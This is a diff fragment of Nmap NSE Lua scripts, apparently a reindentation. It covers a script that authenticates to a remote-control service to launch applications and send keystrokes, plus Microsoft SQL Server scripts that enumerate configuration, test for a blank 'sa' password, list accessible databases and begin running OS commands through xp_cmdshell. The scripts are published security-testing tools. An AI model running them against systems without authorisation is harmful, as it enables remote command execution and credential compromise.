if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then
|
||||
return false, "Failed to send request to server"
|
||||
end
|
||||
if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then
|
||||
return false, "Failed to send request to server"
|
||||
end
|
||||
return true
|
||||
end
|
||||
return false, "Authentication failed"
|
||||
if ( success == "YES" ) then
|
||||
if ( os ~= 'MAC' ) then
|
||||
return false, "Non MAC platform detected, script has only been tested on MAC"
|
||||
end
|
||||
if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then
|
||||
return false, "Failed to send request to server"
|
||||
end
|
||||
if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then
|
||||
return false, "Failed to send request to server"
|
||||
end
|
||||
return true
|
||||
end
|
||||
return false, "Authentication failed"
|
||||
end
|
||||
|
||||
local function processSwitchMode(socket, swmode)
|
||||
local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$")
|
||||
if ( m ~= "SWITCHMODE") then
|
||||
stdnse.print_debug("Unknown SWITCHMODE: %s %s", m, o)
|
||||
return false, "Failed to parse SWITCHMODE"
|
||||
end
|
||||
local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$")
|
||||
if ( m ~= "SWITCHMODE") then
|
||||
stdnse.print_debug("Unknown SWITCHMODE: %s %s", m, o)
|
||||
return false, "Failed to parse SWITCHMODE"
|
||||
end
|
||||
|
||||
local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2)
|
||||
local status = socket:send(str)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send data to server"
|
||||
end
|
||||
return true
|
||||
local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2)
|
||||
local status = socket:send(str)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send data to server"
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
local function executeCmd(socket, app, keys)
|
||||
local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app)
|
||||
local status = socket:send(exec)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send data to server"
|
||||
end
|
||||
local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app)
|
||||
local status = socket:send(exec)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send data to server"
|
||||
end
|
||||
|
||||
local status, data = receiveData(socket)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive data from server"
|
||||
end
|
||||
local status, data = receiveData(socket)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive data from server"
|
||||
end
|
||||
|
||||
if ( arg_delay ) then
|
||||
stdnse.sleep(tonumber(arg_delay))
|
||||
end
|
||||
if ( arg_delay ) then
|
||||
stdnse.sleep(tonumber(arg_delay))
|
||||
end
|
||||
|
||||
if ( keys ) then
|
||||
local cmd = ("KEYSTRING\30%s\n\04"):format(keys)
|
||||
if ( not(socket:send(cmd)) ) then
|
||||
return false, "Failed to send data to the server"
|
||||
end
|
||||
end
|
||||
return true
|
||||
if ( keys ) then
|
||||
local cmd = ("KEYSTRING\30%s\n\04"):format(keys)
|
||||
if ( not(socket:send(cmd)) ) then
|
||||
return false, "Failed to send data to the server"
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||
local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
|
||||
local password = arg_password or (credentials and credentials.pass) or ""
|
||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||
local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
|
||||
local password = arg_password or (credentials and credentials.pass) or ""
|
||||
|
||||
if ( not(arg_app) ) then
|
||||
return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME))
|
||||
end
|
||||
if ( not(arg_app) ) then
|
||||
return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME))
|
||||
end
|
||||
|
||||
if ( not(arg_keys) ) then
|
||||
return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME))
|
||||
end
|
||||
if ( not(arg_keys) ) then
|
||||
return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME))
|
||||
end
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(10000)
|
||||
local status, err = socket:connect(host, port)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(10000)
|
||||
local status, err = socket:connect(host, port)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
|
||||
status, err = authenticate(socket, password)
|
||||
if ( not(status) ) then
|
||||
return fail(err)
|
||||
end
|
||||
status, err = authenticate(socket, password)
|
||||
if ( not(status) ) then
|
||||
return fail(err)
|
||||
end
|
||||
|
||||
local data
|
||||
status, data = receiveData(socket, "SWITCHMODE")
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to receive expected response from server")
|
||||
end
|
||||
local data
|
||||
status, data = receiveData(socket, "SWITCHMODE")
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to receive expected response from server")
|
||||
end
|
||||
|
||||
if ( not(processSwitchMode(socket, data)) ) then
|
||||
return fail("Failed to process SWITCHMODE command")
|
||||
end
|
||||
if ( not(processSwitchMode(socket, data)) ) then
|
||||
return fail("Failed to process SWITCHMODE command")
|
||||
end
|
||||
|
||||
if ( not(executeCmd(socket, arg_app, arg_keys)) ) then
|
||||
return fail("Failed to execute application")
|
||||
end
|
||||
if ( not(executeCmd(socket, arg_app, arg_keys)) ) then
|
||||
return fail("Failed to execute application")
|
||||
end
|
||||
|
||||
return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys)
|
||||
return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys)
|
||||
end
|
||||
|
||||
@@ -63,7 +63,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
|
||||
|
||||
-- Created 04/02/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
|
||||
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
||||
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
@@ -80,78 +80,78 @@ portrule = mssql.Helper.GetPortrule_Standard()
|
||||
--- Processes a set of instances
|
||||
local function process_instance( instance )
|
||||
|
||||
local status, errorMessage
|
||||
local result, result_part = {}, {}
|
||||
local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
|
||||
or " WHERE configuration_id > 16384"
|
||||
local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
|
||||
or " WHERE name NOT IN ('master','model','tempdb','msdb')"
|
||||
local helper = mssql.Helper:new()
|
||||
local status, errorMessage
|
||||
local result, result_part = {}, {}
|
||||
local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
|
||||
or " WHERE configuration_id > 16384"
|
||||
local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
|
||||
or " WHERE name NOT IN ('master','model','tempdb','msdb')"
|
||||
local helper = mssql.Helper:new()
|
||||
|
||||
local queries = {
|
||||
[2]={ ["Configuration"] = [[ SELECT name,
|
||||
cast(value as varchar) value,
|
||||
cast(value_in_use as varchar) inuse,
|
||||
description
|
||||
FROM sys.configurations ]] .. conf_filter },
|
||||
[3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername
|
||||
FROM master..sysservers
|
||||
WHERE srvid > 0 ]] },
|
||||
[1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255),
|
||||
dbid int, created datetime, status varchar(512), compatibility_level int )
|
||||
INSERT INTO #nmap_dbs EXEC sp_helpdb
|
||||
SELECT name, db_size, owner
|
||||
FROM #nmap_dbs ]] .. db_filter .. [[
|
||||
DROP TABLE #nmap_dbs ]] }
|
||||
}
|
||||
local queries = {
|
||||
[2]={ ["Configuration"] = [[ SELECT name,
|
||||
cast(value as varchar) value,
|
||||
cast(value_in_use as varchar) inuse,
|
||||
description
|
||||
FROM sys.configurations ]] .. conf_filter },
|
||||
[3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername
|
||||
FROM master..sysservers
|
||||
WHERE srvid > 0 ]] },
|
||||
[1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255),
|
||||
dbid int, created datetime, status varchar(512), compatibility_level int )
|
||||
INSERT INTO #nmap_dbs EXEC sp_helpdb
|
||||
SELECT name, db_size, owner
|
||||
FROM #nmap_dbs ]] .. db_filter .. [[
|
||||
DROP TABLE #nmap_dbs ]] }
|
||||
}
|
||||
|
||||
status, errorMessage = helper:ConnectEx( instance )
|
||||
if ( not(status) ) then result = "ERROR: " .. errorMessage end
|
||||
status, errorMessage = helper:ConnectEx( instance )
|
||||
if ( not(status) ) then result = "ERROR: " .. errorMessage end
|
||||
|
||||
if status then
|
||||
status, errorMessage = helper:LoginEx( instance )
|
||||
if ( not(status) ) then result = "ERROR: " .. errorMessage end
|
||||
end
|
||||
if status then
|
||||
status, errorMessage = helper:LoginEx( instance )
|
||||
if ( not(status) ) then result = "ERROR: " .. errorMessage end
|
||||
end
|
||||
|
||||
for _, v in ipairs( queries ) do
|
||||
if ( not status ) then break end
|
||||
for header, query in pairs(v) do
|
||||
status, result_part = helper:Query( query )
|
||||
for _, v in ipairs( queries ) do
|
||||
if ( not status ) then break end
|
||||
for header, query in pairs(v) do
|
||||
status, result_part = helper:Query( query )
|
||||
|
||||
if ( not(status) ) then
|
||||
result = "ERROR: " .. result_part
|
||||
break
|
||||
end
|
||||
result_part = mssql.Util.FormatOutputTable( result_part, true )
|
||||
result_part.name = header
|
||||
table.insert( result, result_part )
|
||||
end
|
||||
end
|
||||
if ( not(status) ) then
|
||||
result = "ERROR: " .. result_part
|
||||
break
|
||||
end
|
||||
result_part = mssql.Util.FormatOutputTable( result_part, true )
|
||||
result_part.name = header
|
||||
table.insert( result, result_part )
|
||||
end
|
||||
end
|
||||
|
||||
helper:Disconnect()
|
||||
helper:Disconnect()
|
||||
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, result )
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, result )
|
||||
|
||||
return instanceOutput
|
||||
return instanceOutput
|
||||
end
|
||||
|
||||
|
||||
action = function( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
end
|
||||
|
||||
@@ -49,9 +49,9 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
|
||||
|
||||
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
-- Revised 02/01/2011 - v0.2 (Chris Woodbury)
|
||||
-- - Added ability to run against all instances on a host;
|
||||
-- - Added storage of credentials on a per-instance basis
|
||||
-- - Added compatibility with changes in mssql.lua
|
||||
-- - Added ability to run against all instances on a host;
|
||||
-- - Added storage of credentials on a per-instance basis
|
||||
-- - Added compatibility with changes in mssql.lua
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
@@ -62,121 +62,121 @@ hostrule = mssql.Helper.GetHostrule_Standard()
|
||||
portrule = mssql.Helper.GetPortrule_Standard()
|
||||
|
||||
local function test_credentials( instance, helper, username, password )
|
||||
local database = "tempdb"
|
||||
local database = "tempdb"
|
||||
|
||||
local status, result = helper:ConnectEx( instance )
|
||||
local loginErrorCode
|
||||
if( status ) then
|
||||
stdnse.print_debug( 2, "%s: Attempting login to %s", SCRIPT_NAME, instance:GetName() )
|
||||
status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
|
||||
end
|
||||
helper:Disconnect()
|
||||
local status, result = helper:ConnectEx( instance )
|
||||
local loginErrorCode
|
||||
if( status ) then
|
||||
stdnse.print_debug( 2, "%s: Attempting login to %s", SCRIPT_NAME, instance:GetName() )
|
||||
status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
|
||||
end
|
||||
helper:Disconnect()
|
||||
|
||||
local passwordIsGood, canLogin
|
||||
if status then
|
||||
passwordIsGood = true
|
||||
canLogin = true
|
||||
elseif ( loginErrorCode ) then
|
||||
if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true end
|
||||
if ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true end
|
||||
if ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
|
||||
stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() )
|
||||
table.insert( instance.ms_sql_empty, string.format("'sa' account is locked out.", result ) )
|
||||
end
|
||||
if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
|
||||
stdnse.print_debug( 2, "%s: Attemping login to %s: Unknown login error number: %s",
|
||||
SCRIPT_NAME, instance:GetName(), loginErrorCode )
|
||||
table.insert( instance.ms_sql_empty, string.format( "Unknown login error number: %s", loginErrorCode ) )
|
||||
end
|
||||
else
|
||||
table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) )
|
||||
end
|
||||
local passwordIsGood, canLogin
|
||||
if status then
|
||||
passwordIsGood = true
|
||||
canLogin = true
|
||||
elseif ( loginErrorCode ) then
|
||||
if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true end
|
||||
if ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true end
|
||||
if ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
|
||||
stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() )
|
||||
table.insert( instance.ms_sql_empty, string.format("'sa' account is locked out.", result ) )
|
||||
end
|
||||
if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
|
||||
stdnse.print_debug( 2, "%s: Attemping login to %s: Unknown login error number: %s",
|
||||
SCRIPT_NAME, instance:GetName(), loginErrorCode )
|
||||
table.insert( instance.ms_sql_empty, string.format( "Unknown login error number: %s", loginErrorCode ) )
|
||||
end
|
||||
else
|
||||
table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) )
|
||||
end
|
||||
|
||||
if ( passwordIsGood ) then
|
||||
local loginResultMessage = "Login Success"
|
||||
if loginErrorCode then
|
||||
loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error"
|
||||
end
|
||||
table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "<empty>", loginResultMessage ) )
|
||||
if ( passwordIsGood ) then
|
||||
local loginResultMessage = "Login Success"
|
||||
if loginErrorCode then
|
||||
loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error"
|
||||
end
|
||||
table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "<empty>", loginResultMessage ) )
|
||||
|
||||
-- Add credentials for other ms-sql scripts to use but don't
|
||||
-- add accounts that need to change passwords
|
||||
if ( canLogin ) then
|
||||
instance.credentials[ username ] = password
|
||||
-- Legacy storage method (does not distinguish between instances)
|
||||
nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
|
||||
nmap.registry.mssqlusers[username]=password
|
||||
end
|
||||
end
|
||||
-- Add credentials for other ms-sql scripts to use but don't
|
||||
-- add accounts that need to change passwords
|
||||
if ( canLogin ) then
|
||||
instance.credentials[ username ] = password
|
||||
-- Legacy storage method (does not distinguish between instances)
|
||||
nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
|
||||
nmap.registry.mssqlusers[username]=password
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
--- Processes a single instance, attempting to detect an empty password for "sa"
|
||||
local function process_instance( instance )
|
||||
|
||||
-- One of this script's features is that it will report an instance's
|
||||
-- in both the port-script results and the host-script results. In order to
|
||||
-- avoid redundant login attempts on an instance, we will just make the
|
||||
-- attempt once and then re-use the results. We'll use a mutex to make sure
|
||||
-- that multiple script instances (e.g. a host-script and a port-script)
|
||||
-- working on the same SQL Server instance can only enter this block one at
|
||||
-- a time.
|
||||
local mutex = nmap.mutex( instance )
|
||||
mutex( "lock" )
|
||||
-- One of this script's features is that it will report an instance's
|
||||
-- in both the port-script results and the host-script results. In order to
|
||||
-- avoid redundant login attempts on an instance, we will just make the
|
||||
-- attempt once and then re-use the results. We'll use a mutex to make sure
|
||||
-- that multiple script instances (e.g. a host-script and a port-script)
|
||||
-- working on the same SQL Server instance can only enter this block one at
|
||||
-- a time.
|
||||
local mutex = nmap.mutex( instance )
|
||||
mutex( "lock" )
|
||||
|
||||
local status, result
|
||||
local status, result
|
||||
|
||||
-- If this instance has already been tested (e.g. if we got to it by both the
|
||||
-- hostrule and the portrule), don't test it again. This will reduce the risk
|
||||
-- of locking out accounts.
|
||||
if ( instance.tested_empty ~= true ) then
|
||||
instance.tested_empty = true
|
||||
-- If this instance has already been tested (e.g. if we got to it by both the
|
||||
-- hostrule and the portrule), don't test it again. This will reduce the risk
|
||||
-- of locking out accounts.
|
||||
if ( instance.tested_empty ~= true ) then
|
||||
instance.tested_empty = true
|
||||
|
||||
instance.credentials = instance.credentials or {}
|
||||
instance.ms_sql_empty = instance.ms_sql_empty or {}
|
||||
instance.credentials = instance.credentials or {}
|
||||
instance.ms_sql_empty = instance.ms_sql_empty or {}
|
||||
|
||||
if not instance:HasNetworkProtocols() then
|
||||
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
|
||||
table.insert( instance.ms_sql_empty, "No network protocols enabled." )
|
||||
end
|
||||
if not instance:HasNetworkProtocols() then
|
||||
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
|
||||
table.insert( instance.ms_sql_empty, "No network protocols enabled." )
|
||||
end
|
||||
|
||||
local helper = mssql.Helper:new()
|
||||
test_credentials( instance, helper, "sa", "" )
|
||||
end
|
||||
local helper = mssql.Helper:new()
|
||||
test_credentials( instance, helper, "sa", "" )
|
||||
end
|
||||
|
||||
-- The password testing has been finished. Unlock the mutex.
|
||||
mutex( "done" )
|
||||
-- The password testing has been finished. Unlock the mutex.
|
||||
mutex( "done" )
|
||||
|
||||
local instanceOutput
|
||||
if ( instance.ms_sql_empty ) then
|
||||
instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
for _, message in ipairs( instance.ms_sql_empty ) do
|
||||
table.insert( instanceOutput, message )
|
||||
end
|
||||
if ( nmap.verbosity() > 1 and #instance.ms_sql_empty == 0 ) then
|
||||
table.insert( instanceOutput, "'sa' account password is not blank." )
|
||||
end
|
||||
end
|
||||
local instanceOutput
|
||||
if ( instance.ms_sql_empty ) then
|
||||
instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
for _, message in ipairs( instance.ms_sql_empty ) do
|
||||
table.insert( instanceOutput, message )
|
||||
end
|
||||
if ( nmap.verbosity() > 1 and #instance.ms_sql_empty == 0 ) then
|
||||
table.insert( instanceOutput, "'sa' account password is not blank." )
|
||||
end
|
||||
end
|
||||
|
||||
return instanceOutput
|
||||
return instanceOutput
|
||||
|
||||
end
|
||||
|
||||
|
||||
action = function( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
end
|
||||
|
||||
@@ -66,7 +66,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
|
||||
|
||||
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
|
||||
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
||||
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
@@ -82,95 +82,95 @@ portrule = mssql.Helper.GetPortrule_Standard()
|
||||
|
||||
local function process_instance( instance )
|
||||
|
||||
local status, result, rs
|
||||
local query, limit
|
||||
local output = {}
|
||||
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
|
||||
local status, result, rs
|
||||
local query, limit
|
||||
local output = {}
|
||||
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
|
||||
|
||||
local RS_LIMIT = stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )
|
||||
and tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5
|
||||
local RS_LIMIT = stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )
|
||||
and tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5
|
||||
|
||||
if ( RS_LIMIT <= 0 ) then
|
||||
limit = ""
|
||||
else
|
||||
limit = string.format( "TOP %d", RS_LIMIT )
|
||||
end
|
||||
if ( RS_LIMIT <= 0 ) then
|
||||
limit = ""
|
||||
else
|
||||
limit = string.format( "TOP %d", RS_LIMIT )
|
||||
end
|
||||
|
||||
local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255),
|
||||
DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit,
|
||||
Suspect bit, Offline bit, InLoad bit, EmergencyMode bit,
|
||||
StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]],
|
||||
local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255),
|
||||
DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit,
|
||||
Suspect bit, Offline bit, InLoad bit, EmergencyMode bit,
|
||||
StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]],
|
||||
|
||||
|
||||
"INSERT INTO #hasaccess EXEC sp_MShasdbaccess",
|
||||
("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, stdnse.strjoin(",", exclude_dbs)),
|
||||
"DROP TABLE #hasaccess" }
|
||||
"INSERT INTO #hasaccess EXEC sp_MShasdbaccess",
|
||||
("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, stdnse.strjoin(",", exclude_dbs)),
|
||||
"DROP TABLE #hasaccess" }
|
||||
|
||||
local creds = mssql.Helper.GetLoginCredentials_All( instance )
|
||||
if ( not creds ) then
|
||||
output = "ERROR: No login credentials."
|
||||
else
|
||||
for username, password in pairs( creds ) do
|
||||
local helper = mssql.Helper:new()
|
||||
status, result = helper:ConnectEx( instance )
|
||||
if ( not(status) ) then
|
||||
output = "ERROR: " .. result
|
||||
break
|
||||
end
|
||||
local creds = mssql.Helper.GetLoginCredentials_All( instance )
|
||||
if ( not creds ) then
|
||||
output = "ERROR: No login credentials."
|
||||
else
|
||||
for username, password in pairs( creds ) do
|
||||
local helper = mssql.Helper:new()
|
||||
status, result = helper:ConnectEx( instance )
|
||||
if ( not(status) ) then
|
||||
output = "ERROR: " .. result
|
||||
break
|
||||
end
|
||||
|
||||
if ( status ) then
|
||||
status = helper:Login( username, password, nil, instance.host.ip )
|
||||
end
|
||||
if ( status ) then
|
||||
status = helper:Login( username, password, nil, instance.host.ip )
|
||||
end
|
||||
|
||||
if ( status ) then
|
||||
for _, q in pairs(query) do
|
||||
status, result = helper:Query( q )
|
||||
if ( status ) then
|
||||
-- Only the SELECT statement should produce output
|
||||
if ( #result.rows > 0 ) then
|
||||
rs = result
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( status ) then
|
||||
for _, q in pairs(query) do
|
||||
status, result = helper:Query( q )
|
||||
if ( status ) then
|
||||
-- Only the SELECT statement should produce output
|
||||
if ( #result.rows > 0 ) then
|
||||
rs = result
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
helper:Disconnect()
|
||||
helper:Disconnect()
|
||||
|
||||
if ( status and rs ) then
|
||||
result = mssql.Util.FormatOutputTable( rs, true )
|
||||
result.name = username
|
||||
if ( RS_LIMIT > 0 ) then
|
||||
result.name = result.name .. (" (Showing %d first results)"):format(RS_LIMIT)
|
||||
end
|
||||
table.insert( output, result )
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( status and rs ) then
|
||||
result = mssql.Util.FormatOutputTable( rs, true )
|
||||
result.name = username
|
||||
if ( RS_LIMIT > 0 ) then
|
||||
result.name = result.name .. (" (Showing %d first results)"):format(RS_LIMIT)
|
||||
end
|
||||
table.insert( output, result )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, output )
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, output )
|
||||
|
||||
return instanceOutput
|
||||
return instanceOutput
|
||||
|
||||
end
|
||||
|
||||
|
||||
action = function( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
end
|
||||
|
||||
@@ -79,7 +79,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
|
||||
|
||||
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
|
||||
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
||||
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
@@ -94,73 +94,73 @@ portrule = mssql.Helper.GetPortrule_Standard()
|
||||
|
||||
local function process_instance( instance )
|
||||
|
||||
local status, result
|
||||
local query
|
||||
local cmd = stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) or 'ipconfig /all'
|
||||
local output = {}
|
||||
local status, result
|
||||
local query
|
||||
local cmd = stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) or 'ipconfig /all'
|
||||
local output = {}
|
||||
|
||||
query = ("EXEC master..xp_cmdshell '%s'"):format(cmd)
|
||||
query = ("EXEC master..xp_cmdshell '%s'"):format(cmd)
|
||||
|
||||
local creds = mssql.Helper.GetLoginCredentials_All( instance )
|
||||
